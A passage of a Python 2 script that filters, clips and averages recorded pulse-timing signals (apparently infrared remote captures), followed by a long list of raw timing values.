elif peak == 1:
#this means previous value was a peak so we can't have repeated peaks
line[x] = 650
peak = 0
elif line[x] < 650:
peak = 0
line[x] = 650
if line[x] < 1200:
peak = 0
line[x] = 650
#We need to process the signal one more time and find the first data point
found = 0
x = -1
#that is about 1400
while not found:
x+=1
if line[x] > 1400:
found = 1
#Clip the first data points
new_line = line[x-1:]
#Turns out this clips everything to 49+ data points so let's clip everything to 49
#Now clip the line to only 49 data points
if len(new_line) > 49:
n = len(new_line) - 49
del new_line[-n:]
return new_line,num_peaks
def process_signals(input_signals,title):
##Ok so we have 129 different signals.
##Let's plot each one
plt_raw = myplt.plottool(12,'Pulse','Magnitude',title)
#plt_len = myplt.plottool(12,'Signal Number','Length','Length of '+title)
#plt_peaks = myplt.plottool(12,'Signal Number','Number of Peaks',title)
length = []
peaks_vec = []
success_rate = 0
total_signals = 0
filtered_signals = []
for line in input_signals:
plt_raw.plot(line)
total_signals += 1.0
#Compute Length
L = len(line)
##Plot the raw signal
##Based on length I think we need to throw out any signal under length 55
if L > 55:
##I think we also need to throw out signals with anything over 2500
M = max(line)
if M < 2500:
#Ok so throwing out signals is a bad idea. Let's do something else.
processed_line,num_peaks = process_line(line)
###Looks like we should also throw out anything that doesn't have 15 peaks
if int(num_peaks) == 15:
#So let's grab length after we threw out the ones under 55
L = len(processed_line)
length.append(L)
#Let's count peaks again
num_peaks_final = sum(x > 1200 for x in processed_line)
#Since we counted peaks again we gotta throw out ones without 15
if int(num_peaks_final) == 15:
#plt_raw.plot(processed_line)
success_rate += 1.0
peaks_vec.append(num_peaks_final)
filtered_signals.append(processed_line)
###Print Success Rate
success_rate /= total_signals
print 'Accepted Signal Rate ',title,' = ',success_rate*100.0
#plt_len.plot(length)
#plt_peaks.plot(peaks_vec)
#Alright now let's get the mean of the filtered signals
mean_signal = mean_matrix(filtered_signals)
#And plot it to be sure
plt_raw.plot(mean_signal,color='blue')
#Now compute the RMS between every signals
#for line in filtered_signals:
#print RMS(line,mean_signal)
return mean_signal
def mean_matrix(input_matrix):
first_row = input_matrix[0]
c = len(first_row)
avg = [0]*c
r = 0
for row in input_matrix:
r+=1
for x in range(0,c):
avg[x] += float(row[x])
for x in range(0,c):
avg[x] /= float(r)
return avg
right_input_signals = [[618, 544, 623, 541, 616, 546, 620, 543, 624, 540, 617, 546, 621, 1630, 615, 1629, 625, 1626, 618, 1625, 620, 1627, 617, 1635, 623, 536, 627, 1620, 625, 539, 617, 1630, 625, 539, 618, 1633, 621, 542, 616, 546, 624, 540, 624, 539, 619, 1628, 625, 539, 620, 1627, 625, 540, 617, 1629, 645, 1602, 622, 1625, 619, 1628, 617],
[621],
[644, 520, 617, 546, 622, 542, 624, 540, 620, 1627, 624, 1623, 622, 1625, 618, 1629, 630, 1617, 623, 1625, 619, 545, 625, 1624, 617, 544, 623, 1624, 620, 544, 623, 1624, 621, 543, 624, 540, 617, 546, 621, 543, 624, 1625, 619, 543, 624, 1623, 832, 334, 622, 1623, 625, 1622, 619, 1628, 772, 1476, 622],
[619, 623, 542, 625, 540, 618, 547, 619, 542, 625, 540, 618, 548, 619, 1625, 618, 1629, 626, 1624, 620, 1627, 617, 1628, 616, 1631, 623, 540, 617, 1630, 624, 540, 617, 1630, 624, 540, 622, 1627, 622, 539, 619, 545, 623, 545, 620, 539, 622, 1625, 645, 519, 618, 1629, 625, 565, 592, 1629, 626, 1621, 622, 1625, 619, 1628, 616],
[619, 621, 542, 628, 539, 616, 551, 615, 544, 626, 1621, 620, 1628, 630, 1618, 622, 1625, 620, 1628, 616, 1631, 623, 542, 625, 1622, 643, 521, 626, 1625, 619, 542, 625, 1622, 622, 542, 645, 524, 613, 546, 621, 543, 625, 1623, 621, 544, 624, 1622, 625, 539, 644, 1604, 621, 1627, 619, 1628, 626, 1622, 621],
[617, 618, 544, 623, 541, 617, 561, 605, 544, 623, 1625, 619, 1628, 616, 1631, 624, 1623, 621, 1626, 618, 1630, 624, 542, 615, 1630, 625, 539, 618, 1629, 625, 539, 618, 1629, 625, 539, 618, 550, 617, 543, 632, 532, 618, 1633, 621, 540, 617, 1631, 623, 541, 616, 1631, 624, 1623, 621, 1626, 618, 1630, 624],
[623, 541, 625, 543, 615, 545, 626, 537, 621, 559, 603, 545, 622, 1625, 620, 1628, 615, 1631, 624, 1623, 621, 1626, 618, 1629, 625, 544, 613, 1630, 627, 535, 619, 1628, 617, 549, 618, 1627, 617, 547, 620, 544, 623, 540, 616, 548, 620, 1627, 619, 545, 620, 1627, 617, 717, 450, 1632, 612, 1630, 628, 1619, 625, 1623, 618],
[618, 618, 544, 622, 541, 617, 545, 625, 540, 624, 1623, 620, 1629, 621, 1623, 631, 1617, 626, 1624, 616, 1628, 617, 547, 621, 1632, 611, 547, 620, 1627, 621, 543, 620, 1627, 617, 547, 621, 543, 624, 544, 613, 547, 620, 1627, 619, 549, 620, 1624, 616, 547, 620, 1628, 616, 1631, 644, 1603, 621, 1630, 614],
[619, 623, 542, 644, 519, 618, 546, 621, 560, 607, 540, 648, 515, 621, 1627, 617, 1630, 629, 1618, 621, 1626, 618, 1629, 625, 1626, 618, 542, 625, 1622, 622, 542, 630, 1617, 622, 542, 627, 1621, 621, 542, 625, 539, 618, 546, 625, 539, 624, 1623, 622, 542, 625, 1622, 622, 648, 518, 1623, 622, 1626, 618, 1629, 625, 1622, 623],
[620, 625, 539, 620, 546, 617, 544, 628, 536, 616, 1632, 623, 1624, 620, 1627, 617, 1630, 624, 1624, 624, 1623, 618, 546, 621, 1626, 618, 551, 616, 1626, 619, 545, 622, 1626, 618, 546, 621, 543, 624, 540, 617, 548, 619, 1627, 617, 547, 620, 1627, 618, 546, 621, 1627, 621, 1627, 624, 1623, 623, 1624, 618],
[622, 616, 546, 622, 566, 601, 539, 619, 544, 622, 542, 625, 539, 618, 1629, 625, 1622, 623, 1624, 623, 1624, 617, 1632, 623, 1623, 621, 543, 626, 1621, 622, 542, 627, 1620, 622, 542, 625, 1622, 622, 546, 612, 547, 619, 549, 618, 543, 616, 1633, 620, 541, 616, 1632, 622, 541, 616, 1631, 626, 1622, 620, 1629, 615, 1918, 337],
[619, 618, 541, 627, 536, 620, 545, 621, 542, 625, 1622, 627, 1620, 619, 1628, 620, 1627, 624, 1623, 651, 1596, 618, 549, 618, 1626, 618, 546, 651, 1601, 614, 545, 622, 1625, 621, 548, 617, 548, 619, 539, 618, 546, 622, 1625, 619, 545, 622, 1626, 618, 546, 641, 1607, 678, 1568, 626, 1621, 623, 1625, 624],
[623, 617, 547, 620, 543, 624, 541, 615, 550, 619, 1626, 616, 1631, 624, 1623, 621, 1626, 618, 1629, 625, 1622, 622, 542, 627, 1623, 619, 542, 625, 1622, 622, 542, 625, 1623, 622, 542, 625, 538, 619, 1545, 622, 542, 645, 1605, 619, 542, 625, 1622, 622, 545, 622, 1622, 626, 1621, 620, 1627, 852, 1396, 623],
[623, 616, 548, 619, 547, 621, 542, 616, 547, 619, 544, 625, 539, 626, 1622, 624, 1627, 616, 1627, 1617, 631, 623, 1626, 618, 1627, 618, 546, 621, 1630, 614, 547, 622, 1625, 618, 549, 620, 1625, 617, 547, 620, 544, 623, 544, 623, 538, 619, 1628, 619, 544, 620, 1628, 616, 662, 505, 1633, 612, 1631, 627, 1620, 620, 1630, 615],
[624, 615, 546, 622, 543, 625, 537, 617, 547, 620, 545, 622, 541, 617, 1630, 626, 1621, 621, 1626, 618, 1629, 625, 1623, 622, 1624, 619, 545, 622, 1625, 619, 545, 625, 1623, 620, 543, 622, 1625, 620, 543, 623, 541, 616, 548, 619, 544, 623, 1624, 624, 540, 623, 1626, 619, 544, 623, 1623, 621, 1627, 647, 1600, 644, 1603, 651],
[624, 540, 643, 520, 617, 547, 620, 543, 624, 540, 618, 546, 619, 1628, 646, 1601, 623, 1624, 620, 1627, 619, 1628, 624, 1623, 621, 543, 624, 1623, 621, 544, 627, 1619, 624, 539, 625, 1622, 622, 542, 625, 539, 618, 546, 621, 546, 621, 1623, 621, 543, 624, 1627, 617, 542, 625, 1623, 621, 1626, 678, 1569, 626, 1621, 830],
[624, 617, 547, 622, 551, 614, 544, 613, 547, 620, 1628, 617, 1629, 624, 1624, 621, 1626, 618, 1629, 625, 1622, 622, 542, 626, 1623, 620, 542, 625, 1623, 626, 538, 624, 1623, 622, 542, 625, 539, 628, 536, 621, 548, 619, 1623, 621, 543, 624, 1624, 621, 543, 624, 1623, 624, 1623, 618, 1629, 625, 1623, 622],
[617, 624, 540, 623, 541, 618, 550, 615, 545, 623, 541, 625, 542, 615, 1629, 625, 1629, 615, 1626, 620, 1627, 625, 1623, 622, 1625, 619, 545, 622, 1625, 619, 545, 625, 1627, 614, 546, 622, 1626, 618, 546, 625, 544, 619, 540, 617, 547, 620, 1627, 617, 549, 618, 1629, 615, 547, 620, 1628, 616, 1631, 815, 1433, 620, 1627, 618],
[625, 539, 618, 546, 622, 545, 625, 535, 618, 546, 621, 545, 621, 1625, 620, 1627, 616, 1631, 623, 1625, 620, 1627, 617, 1630, 624, 540, 617, 1631, 623, 541, 616, 1633, 621, 541, 616, 1631, 623, 541, 626, 541, 616, 545, 622, 543, 624, 1623, 621, 544, 627, 1620, 621, 543, 630, 1617, 624, 1624, 617, 1630, 629, 1618, 626],
[616, 612, 546, 625, 539, 624, 539, 618, 546, 623, 1625, 617, 1632, 627, 1618, 625, 1627, 614, 1629, 625, 1622, 623, 546, 621, 1622, 622, 542, 625, 1631, 614, 542, 627, 1620, 623, 541, 625, 539, 618, 546, 621, 543, 624, 1623, 621, 545, 623, 1623, 621, 543, 626, 1623, 619, 1626, 624, 1627, 621, 1622, 627],
[617, 547, 624, 540, 622, 542, 625, 541, 619, 1626, 626, 1621, 624, 1627, 615, 1629, 616, 1631, 623, 1626, 618, 544, 623, 1625, 619, 545, 622, 1625, 620, 544, 623, 1627, 617, 545, 622, 542, 625, 539, 618, 545, 622, 1626, 619, 545, 622, 1625, 619, 546, 621, 1625, 619, 1633, 624, 1619, 627, 1620, 619],
[624, 540, 618, 546, 625, 539, 624, 548, 609, 547, 622, 541, 624, 1624, 620, 1627, 620, 1632, 624, 1619, 621, 1626, 618, 1630, 624, 540, 622, 1625, 624, 543, 614, 1630, 624, 540, 617, 1634, 620, 541, 616, 548, 623, 541, 622, 542, 625, 1622, 623, 541, 625, 1626, 618, 557, 613, 1620, 621, 1629, 615, 1629, 625, 1623, 651],
[648, 621, 544, 624, 541, 615, 547, 621, 542, 624, 540, 617, 551, 615, 1628, 617, 1631, 623, 1624, 620, 1629, 615, 1630, 625, 1627, 616, 544, 623, 1624, 620, 544, 623, 1625, 619, 544, 628, 1620, 649, 520, 617, 542, 625, 539, 618, 546, 621, 1626, 620, 544, 625, 1623, 617, 547, 620, 1627, 617, 1644, 611, 1623, 621, 1627, 617],
[620, 624, 544, 614, 546, 624, 540, 625, 539, 628, 539, 615, 551, 616, 1627, 617, 1630, 624, 1626, 618, 1627, 617, 1630, 624, 1624, 621, 542, 626, 1622, 621, 543, 624, 1623, 630, 534, 625, 1624, 620, 543, 624, 540, 621, 543, 620, 544, 623, 1624, 620, 544, 623, 1624, 620, 544, 627, 1621, 622, 1627, 614, 1635, 621, 1623, 619],
[625, 539, 646, 519, 616, 547, 620, 543, 627, 540, 616, 545, 620, 1628, 616, 1632, 623, 1624, 620, 1628, 616, 1631, 623, 1625, 620, 548, 620, 1624, 619, 545, 622, 1625, 619, 545, 622, 1627, 620, 543, 621, 548, 620, 539, 618, 546, 625, 1627, 613, 547, 620, 1628, 618, 546, 625, 1622, 617, 1632, 621, 1625, 619, 1629, 629],
[622, 542, 625, 540, 617, 547, 620, 545, 622, 1623, 621, 1626, 618, 1634, 620, 1623, 622, 1628, 615, 1632, 623, 539, 618, 1629, 625, 539, 618, 1630, 625, 539, 618, 1632, 622, 539, 618, 547, 622, 545, 620, 540, 617, 1631, 623, 541, 616, 1640, 614, 541, 616, 1632, 624, 1627, 616, 1627, 617, 1630, 624],
[619, 543, 624, 541, 627, 538, 617, 548, 620, 545, 621, 540, 621, 1626, 624, 1624, 620, 1627, 617, 1631, 623, 1625, 619, 1628, 617, 547, 619, 1629, 616, 548, 623, 1627, 613, 548, 619, 1629, 625, 539, 618, 549, 618, 543, 628, 536, 617, 1635, 622, 539, 615, 1631, 624, 579, 577, 1632, 622, 1626, 619, 1631, 623, 1622, 625],
[621, 542, 630, 535, 618, 548, 620, 542, 624, 539, 620, 544, 620, 1628, 620, 1627, 623, 1625, 619, 1627, 617, 1631, 623, 1624, 621, 543, 624, 1623, 622, 543, 622, 1624, 625, 539, 624, 1629, 615, 544, 623, 541, 616, 548, 619, 547, 620, 1625, 619, 545, 622, 1627, 617, 546, 621, 1627, 618, 1629, 625, 1623, 621, 1626, 618],
[626, 621, 545, 641, 520, 624, 541, 616, 547, 623, 1624, 619, 1628, 624, 1623, 621, 1626, 619, 1629, 625, 1622, 622, 544, 623, 1627, 617, 543, 624, 1623, 621, 543, 624, 1623, 620, 544, 629, 535, 620, 545, 619, 547, 620, 1628, 616, 545, 622, 1626, 618, 546, 625, 1623, 617, 1630, 624, 1624, 622, 1626, 617],
[612, 547, 641, 526, 620, 542, 624, 539, 620, 544, 621, 545, 623, 1625, 618, 1627, 617, 1631, 623, 1624, 620, 1628, 616, 1636, 617, 542, 625, 1623, 621, 542, 625, 1623, 621, 543, 624, 1627, 616, 544, 623, 541, 620, 544, 619, 545, 622, 1626, 618, 546, 623, 1624, 617, 551, 616, 1628, 616, 1636, 618, 1625, 621, 1627, 625],
[618, 548, 621, 541, 625, 539, 616, 551, 617, 1627, 616, 1641, 613, 1625, 619, 1631, 614, 1631, 623, 1635, 609, 547, 619, 1625, 620, 544, 623, 1625, 619, 545, 625, 1622, 619, 545, 621, 543, 624, 540, 622, 546, 616, 1631, 613, 547, 623, 1625, 617, 547, 620, 1628, 616, 1631, 623, 1626, 618, 1628, 626],
[617, 621, 543, 632, 532, 617, 547, 619, 545, 622, 543, 625, 538, 619, 1628, 625, 1623, 621, 1633, 611, 1629, 626, 1622, 622, 1625, 619, 545, 625, 1622, 619, 548, 619, 1626, 619, 546, 621, 1626, 618, 546, 625, 539, 624, 540, 618, 549, 620, 1624, 617, 547, 620, 1631, 613, 547, 619, 1630, 617, 1629, 623, 1625, 621, 1626, 616],
[613, 546, 623, 540, 626, 539, 617, 547, 620, 545, 622, 545, 611, 1631, 623, 1625, 620, 1627, 621, 1627, 623, 1624, 620, 1628, 619, 545, 620, 1627, 617, 547, 620, 1628, 616, 548, 619, 1628, 619, 545, 619, 547, 620, 542, 625, 544, 617, 1627, 623, 542, 615, 1630, 624, 540, 618, 1630, 624, 1624, 620, 1632, 612, 1631, 627],
[625, 618, 546, 621, 545, 622, 540, 617, 547, 621, 543, 623, 542, 619, 1628, 622, 1625, 620, 1631, 613, 1631, 623, 1625, 619, 1629, 616, 548, 623, 1624, 626, 538, 621, 1627, 625, 538, 619, 1629, 625, 539, 618, 547, 620, 543, 627, 537, 622, 1626, 623, 541, 616, 1631, 623, 541, 626, 1622, 622, 1625, 619, 1633, 621, 1622, 624],
[624, 617, 548, 622, 541, 622, 541, 616, 552, 618, 544, 620, 542, 625, 1622, 627, 1621, 623, 1624, 625, 1623, 624, 1628, 616, 1627, 624, 541, 617, 1630, 624, 540, 616, 1632, 627, 536, 616, 1632, 622, 542, 625, 539, 618, 546, 621, 543, 624, 1624, 620, 544, 625, 1627, 615, 545, 622, 1630, 614, 1630, 624, 1623, 626, 1622, 618],
[618, 545, 622, 543, 627, 538, 616, 548, 621, 1625, 622, 1625, 624, 1624, 620, 1627, 617, 1635, 619, 1624, 623, 542, 622, 1624, 621, 543, 623, 1626, 618, 544, 623, 1625, 619, 546, 621, 541, 630, 534, 622, 542, 622, 1628, 618, 544, 621, 1626, 618, 546, 621, 1627, 617, 1630, 624, 1624, 620, 1627, 619],
[624, 611, 548, 619, 545, 622, 543, 616, 547, 618, 1630, 624, 1622, 622, 1626, 617, 1630, 625, 1622, 622, 1630, 614, 546, 621, 1626, 621, 543, 621, 1627, 618, 546, 621, 1626, 621, 544, 620, 544, 625, 538, 621, 543, 623, 1625, 616, 548, 619, 1629, 616, 548, 619, 1654, 600, 1622, 622, 1626, 618, 1629, 628],
[618, 621, 544, 623, 540, 617, 547, 632, 532, 626, 1621, 620, 1630, 614, 1632, 626, 1621, 619, 1631, 613, 1632, 625, 539, 625, 1623, 624, 540, 630, 1618, 621, 542, 625, 1622, 625, 539, 624, 540, 618, 550, 616, 544, 623, 1625, 619, 545, 622, 1626, 619, 545, 627, 1632, 607, 1629, 625, 1624, 786, 1461, 618],
[625, 618, 564, 602, 544, 623, 541, 616, 550, 617, 1630, 614, 1631, 623, 1625, 619, 1628, 616, 1631, 622, 1625, 620, 544, 625, 1623, 619, 550, 616, 1626, 618, 546, 621, 1631, 613, 547, 632, 532, 625, 539, 617, 548, 618, 1629, 625, 539, 618, 1633, 621, 539, 618, 1752, 501, 1628, 617, 1626, 618, 1630, 624],
[621, 624, 541, 616, 546, 621, 543, 629, 539, 614, 1630, 626, 1622, 623, 1624, 617, 1630, 624, 1624, 620, 1627, 617, 547, 620, 1627, 617, 547, 622, 1627, 614, 551, 616, 1628, 616, 548, 619, 548, 619, 542, 625, 539, 624, 1624, 625, 543, 618, 1626, 624, 540, 618, 1633, 620, 1624, 620, 1627, 617, 1631, 628],
[617, 622, 543, 623, 540, 616, 547, 619, 545, 624, 1623, 619, 1628, 616, 1632, 622, 1625, 623, 1624, 616, 1632, 622, 542, 615, 1634, 620, 542, 625, 1622, 622, 542, 625, 1623, 621, 543, 624, 540, 617, 547, 620, 544, 622, 1625, 623, 541, 622, 1625, 619, 545, 622, 1626, 618, 1629, 630, 1618, 621, 1628, 616],
[616, 619, 545, 636, 528, 614, 549, 618, 546, 623, 1629, 613, 1630, 624, 1623, 621, 1627, 617, 1632, 627, 1618, 621, 543, 623, 1624, 620, 544, 624, 1623, 620, 546, 621, 1625, 619, 545, 622, 543, 614, 551, 616, 545, 622, 1626, 618, 548, 620, 1625, 618, 546, 621, 1731, 513, 1629, 624, 1629, 615, 1627, 617],
[620, 545, 622, 541, 618, 547, 619, 545, 624, 539, 616, 549, 618, 1629, 615, 1632, 622, 1626, 618, 1629, 615, 1632, 622, 1626, 618, 549, 622, 1622, 618, 546, 621, 1626, 621, 543, 621, 1628, 617, 545, 621, 543, 624, 540, 618, 551, 616, 1631, 613, 546, 621, 1627, 617, 547, 620, 1628, 617, 1633, 837, 1407, 626, 1622, 617],
[622, 542, 625, 539, 618, 546, 622, 546, 621, 1622, 621, 1632, 612, 1630, 629, 1618, 621, 1626, 619, 1628, 625, 539, 618, 1630, 625, 538, 619, 1629, 625, 539, 618, 1629, 624, 540, 620, 549, 615, 544, 623, 544, 613, 1632, 623, 541, 616, 1631, 625, 539, 616, 1638, 616, 1626, 619, 1629, 615, 1632, 622],
[621, 543, 616, 548, 620, 543, 621, 545, 622, 1624, 620, 1627, 618, 1629, 624, 1624, 620, 1627, 617, 1630, 624, 540, 617, 1630, 624, 540, 617, 1630, 624, 540, 616, 1631, 623, 540, 617, 550, 617, 544, 623, 541, 616, 1631, 623, 546, 611, 1632, 627, 537, 619, 1629, 622, 1625, 621, 1626, 617, 1631, 622],
[614, 548, 620, 545, 622, 544, 614, 547, 622, 1626, 625, 1622, 622, 1625, 619, 1629, 625, 1627, 618, 1625, 619, 545, 622, 1626, 618, 551, 616, 1626, 618, 546, 621, 1626, 618, 547, 622, 554, 611, 546, 612, 547, 619, 1628, 620, 549, 615, 1627, 617, 547, 620, 1628, 620, 1627, 628, 1620, 619, 1631, 614],
[615, 621, 544, 628, 535, 618, 546, 620, 544, 623, 1626, 619, 1627, 617, 1631, 623, 1625, 619, 1628, 616, 1631, 623, 541, 616, 1632, 633, 530, 626, 1627, 617, 542, 620, 1627, 622, 542, 625, 539, 618, 547, 620, 543, 626, 1622, 620, 547, 620, 1625, 620, 544, 623, 1625, 620, 1628, 619, 1628, 622, 1626, 619],
[624, 612, 546, 621, 543, 646, 518, 616, 549, 618, 547, 620, 541, 616, 1631, 623, 1625, 619, 1628, 616, 1631, 623, 1625, 619, 1628, 616, 548, 619, 1628, 646, 518, 623, 1624, 625, 543, 614, 1630, 626, 538, 617, 546, 621, 543, 624, 540, 617, 1630, 624, 541, 616, 1630, 624, 540, 617, 1634, 620, 1624, 802, 1446, 616, 1631, 623],
[617, 547, 621, 545, 621, 540, 616, 548, 621, 1627, 617, 1631, 622, 1626, 619, 1628, 616, 1632, 622, 1625, 619, 545, 622, 1626, 618, 547, 621, 1636, 608, 549, 618, 1626, 618, 546, 621, 543, 624, 540, 617, 547, 623, 1624, 617, 551, 616, 1628, 616, 552, 615, 1632, 676, 1568, 626, 1621, 619, 1629, 628],
[617, 619, 544, 621, 541, 616, 548, 620, 543, 623, 1625, 622, 1626, 615, 1632, 622, 1625, 619, 1629, 625, 1622, 622, 542, 625, 1622, 623, 542, 624, 1623, 621, 543, 628, 1620, 620, 543, 623, 542, 615, 548, 619, 545, 623, 1625, 618, 546, 621, 1626, 618, 546, 623, 1624, 618, 1630, 624, 1623, 621, 1627, 617],
[620, 544, 627, 555, 603, 544, 620, 544, 621, 1626, 622, 1625, 615, 1633, 621, 1627, 617, 1630, 624, 1623, 621, 543, 624, 1624, 620, 544, 623, 1624, 620, 544, 625, 1623, 618, 548, 619, 542, 631, 533, 618, 546, 621, 1626, 618, 546, 623, 1625, 616, 551, 616, 1629, 616, 1631, 623, 1625, 624, 1623, 625],
[618, 621, 545, 623, 539, 617, 549, 618, 544, 633, 530, 617, 548, 619, 1628, 616, 1637, 617, 1626, 618, 1630, 624, 1624, 621, 1627, 617, 547, 620, 1627, 617, 547, 620, 1628, 615, 551, 616, 1630, 625, 539, 617, 548, 619, 544, 623, 541, 621, 1626, 623, 543, 614, 1632, 624, 539, 626, 1623, 621, 1625, 618, 1633, 621, 1623, 626],
[619, 545, 622, 543, 624, 539, 618, 547, 619, 1631, 613, 1633, 621, 1627, 617, 1630, 624, 1624, 619, 1629, 625, 540, 617, 1631, 623, 541, 626, 1627, 622, 538, 623, 1624, 623, 542, 622, 546, 621, 539, 618, 547, 623, 1627, 623, 539, 648, 1600, 624, 541, 626, 1622, 622, 1626, 617, 1632, 627, 1621, 619],
[620, 623, 542, 626, 538, 618, 546, 621, 543, 624, 1627, 617, 1627, 617, 1631, 623, 1624, 620, 1628, 616, 1632, 626, 538, 625, 1623, 621, 543, 626, 1622, 621, 543, 623, 1624, 620, 544, 623, 541, 626, 538, 619, 545, 621, 1627, 620, 555, 609, 1628, 619, 547, 622, 1633, 616, 1623, 626, 1621, 619, 1630, 624],
[542, 1164, 1165, 1164, 1164, 1173, 1155, 2248, 2247, 2249, 2247, 2248, 2248, 1164, 2249, 1164, 2248, 1164, 2248, 1164, 1170, 1159, 1166, 2246, 1164, 2248, 1165, 2248, 2248, 2251, 2247],
[1164, 620, 544, 622, 547, 621, 1622, 621, 1628, 617, 1630, 624, 1625, 619, 1628, 619, 1628, 623, 545, 621, 1623, 623, 541, 624, 1626, 618, 544, 622, 1626, 618, 547, 620, 543, 624, 540, 617, 547, 620, 1629, 632, 532, 618, 1633, 623, 538, 617, 1630, 624, 1624, 620, 1628, 625, 1622, 622],
[625, 618, 546, 620, 544, 626, 538, 620, 544, 619, 1629, 624, 1624, 620, 1628, 616, 1633, 621, 1625, 618, 1633, 621, 540, 617, 1632, 622, 541, 616, 1632, 622, 542, 625, 1623, 621, 545, 627, 535, 621, 544, 619, 545, 621, 1627, 617, 547, 620, 1632, 612, 548, 619, 1629, 625, 1622, 621, 1627, 619, 1633, 831],
[624, 542, 624, 539, 616, 553, 616, 544, 623, 543, 622, 540, 617, 1631, 623, 1625, 619, 1628, 626, 1622, 622, 1626, 623, 1624, 625, 540, 616, 1631, 623, 544, 613, 1632, 622, 543, 624, 1624, 620, 544, 623, 541, 646, 519, 620, 544, 621, 1627, 617, 548, 619, 1628, 616, 549, 618, 1630, 624, 1626, 823, 1422, 617, 1635, 619],
[618, 620, 545, 622, 542, 615, 549, 618, 546, 621, 543, 624, 545, 612, 1632, 622, 1626, 618, 1630, 624, 1629, 615, 1628, 616, 1632, 622, 546, 621, 1623, 626, 539, 623, 1625, 618, 546, 624, 1624, 617, 551, 616, 545, 622, 542, 625, 544, 613, 1630, 627, 538, 625, 1623, 621, 543, 624, 1624, 620, 1632, 622, 1622, 626, 1627, 612],
[617, 615, 544, 623, 541, 626, 540, 618, 545, 621, 1629, 615, 1631, 623, 1625, 619, 1628, 625, 1624, 620, 1631, 613, 548, 619, 1629, 625, 540, 617, 1630, 623, 541, 616, 1635, 619, 542, 625, 539, 623, 542, 620, 548, 618, 1626, 618, 546, 621, 1627, 617, 547, 625, 1623, 625, 1623, 621, 1627, 620, 1628, 623],
[624, 540, 617, 547, 620, 545, 627, 536, 625, 1623, 621, 1627, 617, 1636, 620, 1623, 619, 1628, 616, 1634, 619, 543, 624, 1623, 621, 544, 623, 1624, 620, 544, 625, 1632, 609, 547, 620, 543, 624, 540, 621, 543, 620, 1628, 616, 548, 620, 1633, 620, 540, 617, 1630, 624, 1624, 620, 1628, 626, 1622, 622],
[624, 541, 628, 539, 616, 551, 616, 543, 624, 1642, 602, 1629, 625, 1623, 621, 1632, 612, 1631, 623, 1625, 619, 546, 621, 1627, 617, 548, 619, 1628, 625, 540, 617, 1631, 623, 542, 625, 543, 614, 549, 618, 544, 627, 1620, 623, 542, 621, 1627, 617, 548, 620, 1691, 563, 1622, 622, 1629, 615, 1631, 628],
[612, 620, 552, 614, 547, 623, 537, 617, 547, 621, 1629, 626, 1627, 614, 1627, 621, 1627, 623, 1625, 619, 1631, 623, 540, 617, 1631, 623, 541, 625, 1623, 621, 544, 626, 1622, 619, 545, 625, 540, 624, 540, 616, 548, 619, 1630, 627, 537, 619, 1629, 623, 542, 624, 1624, 620, 1627, 617, 1632, 646, 1601, 619],
[620, 617, 542, 625, 540, 617, 547, 620, 549, 621, 1623, 618, 1635, 621, 1624, 618, 1629, 626, 1624, 620, 1628, 615, 547, 620, 1631, 613, 549, 618, 1629, 625, 547, 610, 1631, 623, 541, 625, 539, 618, 547, 620, 544, 625, 1623, 619, 545, 622, 1626, 618, 547, 620, 1755, 489, 1634, 625, 1625, 614, 1630, 624],
[617, 619, 545, 622, 542, 625, 540, 616, 549, 618, 1647, 607, 1623, 621, 1627, 617, 1631, 623, 1624, 619, 1630, 627, 537, 618, 1630, 623, 541, 616, 1632, 622, 542, 625, 1623, 620, 544, 625, 539, 626, 539, 618, 548, 619, 1627, 623, 542, 619, 1629, 624, 540, 617, 1631, 653, 1595, 619, 1629, 625, 1623, 621],
[636, 528, 624, 541, 624, 540, 616, 549, 617, 1631, 623, 1625, 619, 1632, 613, 1633, 619, 1625, 620, 1628, 626, 538, 619, 1629, 625, 540, 617, 1630, 623, 542, 625, 1625, 619, 543, 624, 540, 617, 547, 620, 545, 621, 1627, 618, 546, 621, 1627, 616, 548, 624, 1624, 625, 1623, 621, 1627, 621, 1627, 622],
[616, 614, 546, 620, 545, 623, 541, 625, 540, 617, 1637, 617, 1628, 616, 1629, 630, 1618, 621, 1630, 614, 1631, 623, 542, 624, 1623, 621, 544, 623, 1625, 619, 545, 627, 1621, 618, 546, 620, 544, 623, 542, 625, 539, 618, 1635, 622, 537, 620, 1628, 622, 542, 625, 1632, 614, 1626, 616, 1632, 622, 1625, 619],
[618, 546, 620, 544, 624, 541, 624, 539, 618, 1631, 623, 1629, 615, 1628, 616, 1632, 622, 1626, 618, 1630, 628, 536, 617, 1636, 618, 542, 632, 1616, 621, 547, 620, 1624, 622, 543, 622, 542, 625, 542, 615, 547, 620, 1628, 616, 548, 619, 1629, 625, 540, 620, 1628, 623, 1625, 619, 1629, 710, 1538, 621],
[620, 620, 544, 623, 540, 617, 546, 621, 547, 620, 1625, 619, 1634, 620, 1622, 622, 1627, 617, 1632, 622, 1624, 624, 546, 617, 1625, 623, 542, 620, 1628, 616, 548, 619, 1629, 625, 539, 618, 549, 618, 544, 623, 542, 625, 1623, 621, 543, 623, 1625, 619, 545, 622, 1626, 618, 1630, 624, 1625, 619, 1627, 617],
[617, 614, 541, 621, 543, 624, 541, 618, 546, 619, 1629, 630, 1618, 621, 1627, 617, 1634, 620, 1625, 619, 1629, 625, 541, 616, 1630, 623, 541, 616, 1632, 622, 542, 624, 1624, 622, 544, 621, 541, 616, 548, 622, 543, 623, 1625, 616, 548, 620, 1632, 621, 539, 618, 1630, 624, 1624, 620, 1627, 617, 1636, 620],
[616, 548, 619, 546, 621, 543, 624, 540, 618, 1631, 622, 1626, 618, 1630, 624, 1626, 618, 1628, 616, 1635, 619, 543, 624, 1624, 620, 544, 623, 1625, 618, 547, 620, 1628, 616, 548, 619, 546, 621, 543, 624, 544, 613, 1631, 623, 541, 627, 1623, 619, 544, 623, 1625, 619, 1629, 625, 1623, 621, 1628, 616],
[622, 543, 622, 542, 623, 541, 636, 528, 619, 549, 618, 543, 623, 1625, 619, 1633, 632, 1612, 622, 1626, 616, 1632, 623, 1625, 618, 549, 618, 1632, 612, 548, 619, 1630, 627, 536, 618, 1629, 629, 536, 617, 547, 620, 544, 623, 541, 625, 1623, 621, 544, 623, 1627, 617, 615, 552, 1626, 618, 1635, 619, 1624, 619, 1629, 625],
[618, 545, 624, 541, 624, 542, 615, 550, 617, 1628, 627, 1622, 621, 1625, 623, 1625, 624, 1624, 623, 1624, 617, 551, 616, 1629, 625, 543, 614, 1632, 622, 540, 626, 1622, 622, 543, 624, 540, 617, 547, 620, 545, 622, 1625, 619, 546, 620, 1627, 617, 548, 619, 1628, 626, 1627, 617, 1626, 618, 1631, 623],
